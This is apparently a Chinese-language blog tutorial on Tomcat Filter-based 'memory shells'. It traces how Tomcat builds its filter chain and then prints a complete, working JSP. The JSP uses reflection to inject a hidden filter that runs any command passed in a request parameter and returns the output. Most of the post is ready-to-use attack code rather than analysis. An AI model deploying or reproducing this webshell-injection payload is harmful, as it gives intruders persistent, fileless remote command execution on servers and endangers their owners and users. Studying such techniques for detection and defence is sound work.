Java内存马-Filter
准备
先写一个恶意filter示范
import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
public class filtermem implements Filter {
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()) {
Process process = Runtime.getRuntime().exec(cmd);
// 获取命令输出(示例:输出到响应)
InputStream inputStream = process.getInputStream();
int c;
while ((c = inputStream.read()) != -1) {
response.getWriter().write(c);
}
inputStream.close();
return; // 终止链条传递
}
// 继续处理请求
chain.doFilter(request, response);
}
public void init(FilterConfig filterConfig) throws ServletException {
// 初始化操作(可留空)
}
public void destroy() {
// 资源销毁(可留空)
}
}
web.xml配置
<!-- 配置 Filter -->
<filter>
<filter-name>filtermem</filter-name>
<filter-class>memshell.filtermem</filter-class>
</filter>
<!-- 配置 Filter 的映射 -->
<filter-mapping>
<filter-name>filtermem</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
启动tomcat,就可以在任意位置路由输入cmd执行命令了
debug
调用链
往上跟一步,这里调用的filter是从filterConfig来的,filterConfig又是从上面的filters数组来的
跟这个filters数组可以跟到这个方法
这个方法是createFilterChain调用的:public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet)
注意上面的filterConfig不能为空,此处context的filterConfigs是一个hashmap
也就是说此处是在filterMaps里面找filter的名字再去context的filterConfigs做匹配
往上找这个filterMaps哪来的,如下:
直接去跟context.findFilterMaps
返回filterMaps字段
跟进,有一处filterMaps.add(filterMap);调用
跟进去看看
这里contextConfig是老朋友了
跟进去又是private void configureContext(WebXml webxml)方法
这里有两处关键点,也就是filterMap初始化的地方
那么这里filterMap有了,还记得上面说过此处是在filterMaps里面找filter的名字再去context的filterConfigs做匹配
filterconfig貌似还没有被赋值,去找找
找到一个filterStart方法,拿着filterDef去做遍历给filterConfig赋值
所以我们去调用context的这里,把def和map搞进去,再去调上面的filterStart就也把filterConfig搞好了
编写脚本
首先把能写的写好
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.ServletContext" %>
<%@ page import="java.io.InputStream" %>
<%!
public class fuck2 implements Filter {
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
String cmd = request.getParameter("cmd2");
if (cmd != null && !cmd.isEmpty()) {
Process process = Runtime.getRuntime().exec(cmd);
// 获取命令输出(示例:输出到响应)
InputStream inputStream = process.getInputStream();
int c;
while ((c = inputStream.read()) != -1) {
response.getWriter().write(c);
}
inputStream.close();
return; // 终止链条传递
}
// 继续处理请求
chain.doFilter(request, response);
}
public void init(FilterConfig filterConfig) throws ServletException {
// 初始化操作(可留空)
}
public void destroy() {
// 资源销毁(可留空)
}
}
%>
<%
try {
// 获取 servletContext 对象
ServletContext servletContext = request.getSession().getServletContext();
// 通过反射获取 ApplicationContext(org.apache.catalina.core.ApplicationContext)
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
// 通过 ApplicationContext 获取 StandardContext(代表当前 webapp)
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
standardContext.addFilterDef();
standardContext.addFilterMap();
standardContext.filterStart();
out.println("Inject success.");
} catch (Exception e) {
e.printStackTrace();
}
%>
接下来往里构造
FilterDef filterDef =new FilterDef();
filterDef.setFilterName("fuck2");
filterDef.setFilter(new fuck2());
filterDef.setFilterClass(fuck2.class.getName());
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("fuck2");
filterMap.addURLPattern("/*");
standardContext.addFilterDef(filterDef);
standardContext.addFilterMap(filterMap);
standardContext.filterStart();
完整脚本
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.ServletContext" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%!
public class fuck2 implements Filter {
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
String cmd = request.getParameter("cmd2");
if (cmd != null && !cmd.isEmpty()) {
Process process = Runtime.getRuntime().exec(cmd);
// 获取命令输出(示例:输出到响应)
InputStream inputStream = process.getInputStream();
int c;
while ((c = inputStream.read()) != -1) {
response.getWriter().write(c);
}
inputStream.close();
return; // 终止链条传递
}
// 继续处理请求
chain.doFilter(request, response);
}
public void init(FilterConfig filterConfig) throws ServletException {
// 初始化操作(可留空)
}
public void destroy() {
// 资源销毁(可留空)
}
}
%>
<%
try {
// 获取 servletContext 对象
ServletContext servletContext = request.getSession().getServletContext();
// 通过反射获取 ApplicationContext(org.apache.catalina.core.ApplicationContext)
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
// 通过 ApplicationContext 获取 StandardContext(代表当前 webapp)
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
FilterDef filterDef =new FilterDef();
filterDef.setFilterName("fuck2");
filterDef.setFilter(new fuck2());
filterDef.setFilterClass(fuck2.class.getName());
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("fuck2");
filterMap.addURLPattern("/*");
standardContext.addFilterDef(filterDef);
standardContext.addFilterMap(filterMap);
standardContext.filterStart();
out.println("Inject success.");
} catch (Exception e) {
e.printStackTrace();
}
%>
访问
注入成功